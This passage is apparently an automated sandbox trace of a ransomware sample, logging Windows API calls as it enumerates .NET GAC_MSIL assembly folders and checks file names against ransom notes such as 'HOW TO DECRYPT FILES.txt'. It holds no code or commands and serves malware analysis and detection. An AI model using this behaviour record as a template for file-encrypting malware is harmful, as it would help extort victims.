FILES.txt", lpString2="System.Runtime.Remoting.dll") returned -1 [0102.002] lstrcmpiA (lpString1="", lpString2="System.Runtime.Remoting.dll") returned -1 [0102.002] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0102.002] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\" [0102.002] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\") returned="" [0102.004] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.004] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.006] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\*.*") returned="*.*" [0102.006] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf6a9347, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf6a9347, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.007] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.007] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.dll") returned -1 [0102.007] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.dll") returned -1 [0102.007] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.dll") returned -1 [0102.007] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0102.007] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\" [0102.007] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\") returned="" [0102.009] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.009] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde06284, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde06284, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.010] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\*.*") returned="*.*" [0102.010] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde06284, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde06284, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.011] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.011] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.dll") returned -1 [0102.011] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.dll") returned -1 [0102.011] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.Formatters.Soap.dll") returned -1 [0102.011] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0102.011] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\" [0102.011] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0102.013] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.013] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde06284, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde06284, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.014] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\*.*") returned="*.*" [0102.014] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc19533e7, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc19533e7, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.014] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.014] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Security.dll") returned -1 [0102.014] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Security.dll") returned -1 [0102.015] lstrcmpiA (lpString1="", lpString2="System.Security.dll") returned -1 [0102.015] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0102.015] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\" [0102.015] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0102.017] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.017] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.018] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\*.*") returned="*.*" [0102.018] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0433080, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0433080, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.019] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.019] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.dll") returned -1 [0102.019] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.dll") returned -1 [0102.019] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.dll") returned -1 [0102.019] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0102.019] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\" [0102.019] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\") returned="" [0102.022] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.022] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.023] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\*.*") returned="*.*" [0102.023] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc16cbc83, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc16cbc83, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.023] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.023] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Install.dll") returned -1 [0102.023] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Install.dll") returned -1 [0102.023] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Install.dll") returned -1 [0102.024] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0102.024] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\" [0102.024] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\") returned="" [0102.026] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.026] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.027] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\*.*") returned="*.*" [0102.027] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc14dca9f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc14dca9f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.027] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.027] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.WasHosting.dll") returned -1 [0102.027] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.WasHosting.dll") returned -1 [0102.027] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.WasHosting.dll") returned -1 [0102.028] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0102.028] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\" [0102.028] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\") returned="" [0102.030] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.030] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.031] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\*.*") returned="*.*" [0102.031] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf3fba82, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf3fba82, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.032] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Web.dll") returned -1 [0102.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Web.dll") returned -1 [0102.032] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Web.dll") returned -1 [0102.032] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\" [0102.032] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\") returned="" [0102.034] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.034] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde2c3de, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde2c3de, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.035] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\*.*") returned="*.*" [0102.035] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbeea08f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbeea08f9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.036] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.036] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceProcess.dll") returned -1 [0102.036] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceProcess.dll") returned -1 [0102.036] lstrcmpiA (lpString1="", lpString2="System.ServiceProcess.dll") returned -1 [0102.036] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0102.037] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\" [0102.037] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0102.040] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.040] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.041] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\*.*") returned="*.*" [0102.041] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.041] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.041] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Speech.dll") returned -1 [0102.042] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Speech.dll") returned -1 [0102.042] lstrcmpiA (lpString1="", lpString2="System.Speech.dll") returned -1 [0102.042] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.042] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\" [0102.042] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\") returned="" [0102.046] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.046] FindFirstFileA (in: 